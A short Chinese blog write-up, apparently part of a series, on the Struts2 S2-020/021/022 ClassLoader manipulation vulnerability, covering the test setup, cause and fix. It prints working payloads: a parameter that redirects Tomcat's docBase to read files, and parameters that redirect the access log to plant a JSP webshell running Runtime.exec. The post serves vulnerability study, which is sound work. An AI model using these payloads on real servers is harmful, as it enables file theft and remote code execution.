前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-017 是个 DOS,S2-018 不知道是什么东西,S2-019 的描述也很模糊。

S2-020,S2-021,S2-022 都是同一个漏洞利用。


环境搭建

2.3.15.1 版本 struts2 + Tomcat 7(Tomcat 9 中的属性路径发生了变化,payload 无法使用)。

漏洞利用

文件读取:

class.classLoader.resources.dirContext.docBase=D:/

RCE(Tomcat 8):

class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
<%Runtime.getRuntime().exec("calc");%>

漏洞分析

没什么好分析的,就是之前 S2-003/S2-005/S2-009 的触发点,只不过利用方式不是直接将变量名作为 OGNL 表达式解析来利用,而是将变量名作为 OGNL 表达式解析,通过表达式获取 Tomcat 中的属性(比如项目目录/日志目录),再将变量值赋值进去来利用的。

漏洞修复

修改了正则表达式黑名单,过滤了 class 等关键词。


参考文章:

https://wooyun.js.org/drops/Struts2%20Tomcat%20class.classLoader.resources.dirContext.docBase%E8%B5%8B%E5%80%BC%E9%80%A0%E6%88%90%E7%9A%84DoS%E5%8F%8A%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%A9%E7%94%A8!.html

https://www.freebuf.com/articles/web/31039.html


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-031
struts2系列漏洞 S2-016